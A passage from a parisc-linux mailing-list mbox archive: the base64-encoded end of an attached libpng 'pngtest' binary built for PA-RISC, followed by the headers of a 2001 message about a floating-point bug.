AAiG4CAYNKQAKEj6CBDoXh99NNkK0AyAEJc0eAAKhuAgGDSkADBI+ggQ6F4fRTTZCtAMgBCX
NHgADIbgIBg0pAA4SPoIEOheHw002QrQDIAQlzR4AA6G4CAYNKUAQEj6CBDoXh7VNNkK0DRj
ABCIal41CAUCREn/ACCH4D1NIEIQACtgAABI+ggQNFkKQDQ4ACjoXh51NEI9GegfHEVpoAB4
6B8cNWmoAHgI1QqWDtAQkggBAlHoHxuVajIAmDQEAAIrYAAADNAQk2gkAHgrYAAAaDMAkCtg
AADoHxXVaCQAaAyAEAU0vD+nj4A1jQgAAkAMghAQNhw/FYeANW8MhBAc6B8VXzQIAAIrYAAA
aCgAaCtgAADoHxVdaCgAeAyAEAI0XD+nj4A01QgAAkAMghAKNVw/FY+ANLUIAAJADIQQCzV8
PyeHgDSXDIYQHOgfFIcMgBAZNzw/p4+ANC0IAAJADIIQGjdcPyePgDQNCAACQAyEEB03vD8V
h4Az7wyGEBzoHxPfzQKUdStgAAAMgBAUNpw/p4+AM3UIAAJADIIQFTa8PyeHgDNXDIQQHOgf
E0drwj/Zb8UAgGvEP4kIGAJEh0Ag8GvDP5GPIGDgK2AAAAgBAkUgIhAANDkLECtgAAA0IwBw
K2AAAAxgEIKARCDoCAECVOheG61IuggQNAIAPitgAAAMZBKACAECVGqCAIA2gwCAImIQAAxg
EJQ0GQACNBgAFDZ6Cyg2hD//hIAgQAxkEoBIuQgQ6F8AATQaAORLwj9ZS8Q/iUvDP5HoQMAA
T8U/geheGq1ItwgQNBUAPOgfH50MdRKAK2AAAOgfHz0IAQJFa8I/2YdAIDA33gCAjyBgIocO
QBg0GgDuK2AAAOheH1VIOQgQS8I/WehAwAA33j+Bh0AgOocgIDIPHxAXK2AAADQzCHgKdwqV
DqAQljbUAAIOtBKA6EDAAsfWwBLWwBweDsgQkw7AEJbqwMAAa8I/0WvCP9kIAwJBCB4CQ2/B
AQArYAAANDMAuDZzP/kMcxKQDHAQkw5gEJOOfyAC6AAAQgxwEJMOYBCTCBMCVuv/H00IHwJC
DHAQkzZzP/kMcxKQ6B8fl0hiP9k0fgCAT8M/gehAwAJrwj/ZCAMCQQgeAkNvwQCASGI/2TR+
AIBPwz+B6EDAAuhAwAJrwj/Zb8QAgGvTP8EIEwJE6F8B+QgAAkBLwj9ZCAQCU+hAwABPxD+B
AAIAAQAAAAAAAAAAcmIAAHdiAAAxLjAuOAAAACVzIC0+ICVzOiBsaWJwbmcgcmVhZCBlcnJv
cgoAAAAAJXMgLT4gJXM6IGxpYnBuZyB3cml0ZSBlcnJvcgoAAABJbWFnZSB3aWR0aCA9ICVs
dSwgaGVpZ2h0ID0gJWx1CgAAAAAgICBXYXMgJXMgd3JpdHRlbiB3aXRoIHRoZSBzYW1lIG1h
eGltdW0gSURBVCBjaHVuayBzaXplICglZCBieXRlcyksAAogICBmaWx0ZXJpbmcgaGV1cmlz
dGljIChsaWJwbmcgZGVmYXVsdCksIGNvbXByZXNzaW9uAAAAIGxldmVsICh6bGliIGRlZmF1
bHQpLAogICBhbmQgemxpYiB2ZXJzaW9uICglcyk/CgoAADEuMS4zAAAACkZpbGVzICVzIGFu
ZCAlcyBhcmUgb2YgYSBkaWZmZXJlbnQgc2l6ZQoAAAAKRmlsZXMgJXMgYW5kICVzIGFyZSBk
aWZmZXJlbnQKAENvdWxkIG5vdCBmaW5kIGZpbGUgJXMKAE5vIG1lbW9yeSB0byBhbGxvY2F0
ZSByb3cgYnVmZmVyCgAAAENvdWxkIG5vdCBvcGVuIG91dHB1dCBmaWxlICVzCgAAQ291bGQg
bm90IGZpbmQgaW5wdXQgZmlsZSAlcwoAAAAAAF/SAABhcgAAXyoAAGEqcG5ndGVzdC5wbmcA
cG5nb3V0LnBuZwAAICAgd2l0aCB6bGliICAgdmVyc2lvbiAlcwoAACBsaWJyYXJ5ICglbHUp
OiVzAAAAIHBuZ3Rlc3QgKCVsdSk6JXMAAABUZXN0aW5nIGxpYnBuZyB2ZXJzaW9uICVzCgAA
IGxpYnBuZyB2ZXJzaW9uIDEuMC44IC0gSnVseSAyNCwgMjAwMCAoaGVhZGVyKQoAIHNpemVv
Zihwbmdfc3RydWN0KT0lZCwgc2l6ZW9mKHBuZ19pbmZvKT0lZAoAAAAAV2FybmluZzogdmVy
c2lvbnMgYXJlIGRpZmZlcmVudCBiZXR3ZWVuIHBuZy5oIGFuZCBwbmcuYwoAAAAAICBwbmcu
aCB2ZXJzaW9uOiAlcwoAAAAAICBwbmcuYyB2ZXJzaW9uOiAlcwoKAAAALW0AAC1tdgAtdm0A
LXYAAHVzYWdlOiAlcyBbaW5maWxlLnBuZ10gW291dGZpbGUucG5nXQoJJXMgLW0ge2luZmls
ZS5wbmd9CgAAACAgcmVhZHMvd3JpdGVzIG9uZSBQTkcgZmlsZSAod2l0aG91dCAtbSkgb3Ig
bXVsdGlwbGUgZmlsZXMgKC1tKQoAAAAAICB3aXRoIC1tICVzIGlzIHVzZWQgYXMgYSB0ZW1w
b3JhcnkgZmlsZQoAAAAKIFBBU1MgKCVsdSB6ZXJvIHNhbXBsZXMpCgAAIHRJTUUgPSAlcwoA
VGVzdGluZyAlczoAIEZBSUwKAABsaWJwbmcgRkFJTFMgdGVzdAoAAGxpYnBuZyBwYXNzZXMg
dGVzdAoAIEZpbHRlciAlZCB3YXMgdXNlZCAlbHUgdGltZXMKAAAKIFBhc3MgJWQ6IAAKICAg
ICAgICAgAAAAABSYAAAUzAgBAAgAAAAIAAAZ4AAAGngIAQAYAAAAEAAAGnwAABqYCAEAGAAA
AAgAABqcAAAa3AgBABgAAAAIAAAa4AAAGvwIAQAYAAAACAAAGwAAAB/sCAQACAAAAAgAAB/w
AAAvKAgNAAgAAAB4AAAvLAAANwwIEAAIAAAAEAAANxAAADfQCAMACAAAAAgAADfUAAA4AAgA
AAgAAAAIAAA4BAAAOCgIAAAIAAAAAAAAOCwAADhACAAAAAAAAAAAADhEAAA4pAgBABgAAAAQ
AAA4qAAAOMQIAQAYAAAACAAAOMgAADjICAAAAAAAAAAAADjMAAA48AgBAAgAAAAIAAAAAAAA
XwQAAAAAAAAAAAAAAABubyB0SU1FIGNodW5rIHByZXNlbnQgaW4gZmlsZQAAAAAAAAAAAAAB
AAAAAAAAAAEAAAAAAABLBAAASxAAAAAAAAAAAP////8AAAAA/////wAAAAAAAGHMAABeoAAA
YcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6g
AABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAA
XqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHM
AABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAA
YcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6g
AABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAA
XqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHM
AABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAA
YcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6g
AABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAA
XqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHM
AABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAA
YcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAOgBCW6sDAAA6IEJXqnx/d
1oAcHgDA/+7erb7vAABh5AAAAAAAAAABAAAAAQAAAAEAAATUAAAAAQAABN4AAAABAAAE6AAA
AA8AAAV3AAAADAAAJJgAAAANAABIzAAAAAQAABEkAAAABQAAGaQAAAAGAAATtAAAAAoAAAXN
AAAACwAAABAAAAADAABeoAAAABUAAAAAAAAAAgAABBQAAAAUAAAABwAAABcAACB0AAAABwAA
IFwAAAAIAAAELAAAAAkAAAAMb////gAAIDxv////AAAAAW////AAAB98AAAAAAAAAAAAAAAA
AEdDQzogKEdOVSkgMi45NyAyMDAxMDIwMyAoZXhwZXJpbWVudGFsKQAAR0NDOiAoR05VKSAy
Ljk3IDIwMDEwMjAzIChleHBlcmltZW50YWwpAABHQ0M6IChHTlUpIDIuOTcgMjAwMTAyMDMg
KGV4cGVyaW1lbnRhbCkAAEdDQzogKEdOVSkgMi45NyAyMDAxMDIwMyAoZXhwZXJpbWVudGFs
KQAAR0NDOiAoR05VKSAyLjk3IDIwMDEwMjAzIChleHBlcmltZW50YWwpAABHQ0M6IChHTlUp
IDIuOTcgMjAwMTAyMDMgKGV4cGVyaW1lbnRhbCkAAAAACAAAAAAAAAABMDEuMDEAAAAALnN5
bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALmhhc2gALmR5
bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5ic3MALnJl
bGEucGx0AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALlBBUklTQy51bndpbmQALmRhdGEA
LmVoX2ZyYW1lAC5jdG9ycwAuZHRvcnMALnBsdAAuZ290AC5keW5hbWljAC5zYnNzAC5ic3MA
LmNvbW1lbnQALm5vdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAABsAAAABAAAAAgAAEPQAAAD0AAAADQAAAAAAAAAAAAAAAQAAAAAAAAAjAAAABwAA
AAIAABEEAAABBAAAACAAAAAAAAAAAAAAAAQAAAAAAAAAMQAAAAUAAAACAAARJAAAASQAAAKQ
AAAABAAAAAAAAAAEAAAABAAAADcAAAALAAAAAgAAE7QAAAO0AAAF8AAAAAUAAAABAAAABAAA
ABAAAAA/AAAAAwAAAAIAABmkAAAJpAAABdcAAAAAAAAAAAAAAAEAAAAAAAAAR2////8AAAAC
AAAffAAAD3wAAAC+AAAABAAAAAAAAAACAAAAAgAAAFRv///+AAAAAgAAIDwAABA8AAAAIAAA
AAUAAAABAAAABAAAAAAAAABjAAAABAAAAAIAACBcAAAQXAAAABgAAAAEAAAAFwAAAAQAAAAM
AAAAbQAAAAQAAAACAAAgdAAAEHQAAAQUAAAABAAAABMAAAAEAAAADAAAAHcAAAABAAAABgAA
JIgAABSIAAAASAAAAAAAAAAAAAAABAAAAAAAAAB9AAAAAQAAAAYAACTQAAAU0AAAI/wAAAAA
AAAAAAAAAAQAAAAAAAAAgwAAAAEAAAAGAABIzAAAOMwAAAAoAAAAAAAAAAAAAAAEAAAAAAAA
AIkAAAABAAAAAgAASPQAADj0AAAErAAAAAAAAAAAAAAABAAAAAAAAACRAAAAAQAAAAIAAE2g
AAA9oAAAAQAAAAAAAAAACwAAAAQAAAAEAAAAoAAAAAEAAAADAABeoAAAPqAAAABUAAAAAAAA
AAAAAAAEAAAAAAAAAKYAAAABAAAAAwAAXvQAAD70AAAABAAAAAAAAAAAAAAABAAAAAAAAACw
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
EgAAAAAAB7sAAGKkAAAAABEA//EAAAfCAABh3AAAAAARAP/xAAAH2AAAZuAAAAAAEQD/8QAA
B90AACsAAAAE8BIAAAsAAAfwAAAAAAAAAHASAAAAAAAH/QAAAAAAAAA4EgAAAAAACBAAAAAA
AAAATBIAAAAAAAgdAAAAAAAAAFwSAAAAAAAINAAAL/AAAA88EgAACwAACEIAAAAAAAAAKBIA
AAAAAAhPAABI9AAAAAQRAAANAAAIXgAAAAAAAABgEgAAAAAACHYAAAAAAAAEWBIAAAAAAAiE
AAAAAAAAABwSAAAAAAAIkQAARxAAAADEEgAACwAACKMAAAAAAAAAzBIAAAAAAAi8AAAAAAAA
ABwSAAAAAAAI0wAAAAAAAABAEgAAAAAACOAAAGKwAAAADBEAABcAAAjvAAAAAAAAAYgSAAAA
AAAI/QAAAAAAAAAAIAAAAAAACRMAAAAAAAAACBIAAAAAAAkfAAAAAAAAAUASAAAAAAAJPAAA
SMgAAAAEIgAACwAACUsAAAAAAAAGFBIAAAAATGV0ZXh0AGdjYzJfY29tcGlsZWQuAHBfX18w
AF9fRFRPUl9MSVNUX18AY29tcGxldGVkX19fMQBfX2RvX2dsb2JhbF9kdG9yc19hdXgAX19F
SF9GUkFNRV9CRUdJTl9fAGZpbmlfZHVtbXkAb2JqZWN0X19fMgBmcmFtZV9kdW1teQBpbml0
X2R1bW15AGZvcmNlX3RvX2RhdGEAX19DVE9SX0xJU1RfXwAuTEMwAC5MQzEAX19kb19nbG9i
YWxfY3RvcnNfYXV4AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBf
ZW5kX2luaXQAX2VuZF9maW5pAHRJTUVfY2h1bmtfcHJlc2VudAB0SU1FX3N0cmluZwB2ZXJi
b3NlAHN0YXR1c19wYXNzAHN0YXR1c19kb3RzX3JlcXVlc3RlZABzdGF0dXNfZG90cwB6ZXJv
X3NhbXBsZXMAd3JvdGVfcXVlc3Rpb24AZnBpbl9fXzAAZnBvdXRfX18xAGZpbHRlcnNfdXNl
ZABpbm5hbWUAb3V0bmFtZQAuTEMyAC5MQzQALkxDNgAuTEM3AC5MQzgALkxDMTEALkxDMTIA
LkxDMTQALkxDMTcALkxDMTgALkxDMTkALkxDMjAALkxDMTYALkxDMjEALkxDMTUALkw0NzYA
Lkw0NTMALkxDMTMALkxDOQAuTEMxMAAuTDQ3NwAuTDI4NwAuTEM1AC5MQzMALkw0NzgALkxD
NTAALkxDNTEALkxDNTIALkxDNDkALkxDNTMALkxDNTQALkxDNTUALkxDNTYALkxDNTcALkxD
NTgALkxDNTkALkxDNjAALkxDNjEALkxDNjIALkxDNjMALkxDNjQALkxDNjYALkxDNjgALkxD
NjUALkxDNjkALkxDNzEALkxDNzAALkw2MzEALkw1NTcALkxDNjcALkw2MzIALkw1NTQALkw2
MzMALkw1MzYAcG5nX3NldF9zQklUAHBuZ19nZXRfc0JJVABwbmdfZ2V0X2NIUk1fZml4ZWQA
cG5nX3NldF9jSFJNX2ZpeGVkAGNvdW50X2ZpbHRlcnMAcG5nX3NldF93cml0ZV9zdGF0dXNf
Zm4AcG5nX2dldF9iS0dEAHBuZ19nZXRfaElTVABwbmdfc2V0X3JlYWRfdXNlcl90cmFuc2Zv
cm1fZm4AbWVtY21wQEBHTElCQ18yLjIAcG5nX3NldF91bmtub3duX2NodW5rX2xvY2F0aW9u
AF9EWU5BTUlDAHBuZ19nZXRfcm93Ynl0ZXMAcG5nX3NldF90ZXh0AHBuZ19nZXRfaUNDUABw
bmdfc2V0X3JlYWRfc3RhdHVzX2ZuAHBuZ19zZXRfZ0FNQV9maXhlZABwbmdfY3JlYXRlX3Jl
YWRfc3RydWN0ACQkZHluY2FsbABwbmdfZ2V0X3RJTUUAZnB1dHNAQEdMSUJDXzIuMgBwbmdf
c2V0X2ludGVybGFjZV9oYW5kbGluZwBwbmdfc2V0X2JLR0QAcG5nX2dldF9pbWFnZV9oZWln
aHQAcG5nX2dldF9wQ0FMAHBuZ19nZXRfaW1hZ2Vfd2lkdGgAZnJlYWRAQEdMSUJDXzIuMgB3
cml0ZV9yb3dfY2FsbGJhY2sAX19kc29faGFuZGxlAGZ3cml0ZUBAR0xJQkNfMi4yAHBuZ19n
ZXRfc1JHQgBwbmdfY29udmVydF90b19yZmMxMTIzAHN0cmNweUBAR0xJQkNfMi4yAHBuZ19z
ZXRfb0ZGcwBwbmdfc2V0X0lIRFIAX2luaXQAcG5nX3NldF9rZWVwX3Vua25vd25fY2h1bmtz
AHBuZ193cml0ZV9yb3dzAHBuZ19zZXRfdFJOUwBwbmdfbWFsbG9jAF9fZGVyZWdpc3Rlcl9m
cmFtZV9pbmZvAHBuZ19hY2Nlc3NfdmVyc2lvbl9udW1iZXIAcG5nX3NldF9wQ0FMAHBuZ19j
cmVhdGVfd3JpdGVfc3RydWN0AHBuZ19nZXRfb0ZGcwBfc3RhcnQAcG5nX3NldF91bmtub3du
X2NodW5rcwBwbmdfd3JpdGVfaW5mbwBwbmdfc2V0X1BMVEUAZm9wZW5AQEdMSUJDXzIuMgBm
Y2xvc2VAQEdMSUJDXzIuMgAkZ2xvYmFsJABwbmdfZ2V0X1BMVEUAZnB1dGNAQEdMSUJDXzIu
MgBfX2Jzc19zdGFydABzdHJjbXBAQEdMSUJDXzIuMgBtYWluAHBuZ19nZXRfY29weXJpZ2h0
AHBuZ19nZXRfaGVhZGVyX3ZlcnNpb24AcG5nX3dyaXRlX2VuZABwbmdfZ2V0X0lIRFIAX19z
aWdzZXRqbXBAQEdMSUJDXzIuMgBfZmluaQBwbmdfc2V0X3NDQUwAcG5nX3NldF9pQ0NQAHBu
Z19mcmVlAHBuZ19nZXRfZ0FNQV9maXhlZABwbmdfc2V0X3dyaXRlX3VzZXJfdHJhbnNmb3Jt
X2ZuAHBuZ19yZWFkX2luZm8AZXhpdEBAR0xJQkNfMi4yAHBuZ19nZXRfdGV4dABwbmdfc2V0
X2hJU1QAc3Rkb3V0QEBHTElCQ18yLjIAcG5nX2Rlc3Ryb3lfcmVhZF9zdHJ1Y3QAcG5nX2dl
dF9zQ0FMAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABjb3VudF96ZXJvX3Nh
bXBsZXMAcG5nX2dldF90Uk5TAGZwcmludGZAQEdMSUJDXzIuMgBwbmdfZ2V0X3BIWXMAcG5n
X2NyZWF0ZV9pbmZvX3N0cnVjdAB0ZXN0X29uZV9maWxlAHBuZ19zZXRfcEhZcwBfSU9fc3Rk
aW5fdXNlZABwbmdfZGVzdHJveV9pbmZvX3N0cnVjdABwbmdfZnJlZV9kYXRhAHBuZ19zZXRf
c1JHQgByZWFkX3Jvd19jYWxsYmFjawBwbmdfZGVzdHJveV93cml0ZV9zdHJ1Y3QAcG5nX2dl
dF91bmtub3duX2NodW5rcwBwbmdfc2V0X3RJTUUAcG5nX2xpYnBuZ192ZXIAcG5nX3JlYWRf
cm93cwBfX3JlZ2lzdGVyX2ZyYW1lX2luZm8AcG5nX2luaXRfaW8AX19saWJjX3N0YXJ0X21h
aW5AQEdMSUJDXzIuMgBfX2dtb25fc3RhcnRfXwBwbmdfcmVhZF9lbmQA

--==_Exmh_-782328440--






From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno IGLESIAS <iglesiab@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug 72 ( Floating point problems )
Date: Fri, 09 Mar 2001 17:43:48 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010309164348.93224D15C5@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619941 16685 80.91.229.3 (22 Nov 2014 01:32:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  9 09:44:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6BF54A19
	for <parisc-linux@parisc-linux.org>; Fri,  9 Mar 2001 09:44:46 -0700 (MST)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP id 93224D15C5
	for <parisc-linux@parisc-linux.org>; Fri,  9 Mar 2001 17:43:48 +0100 (CET)
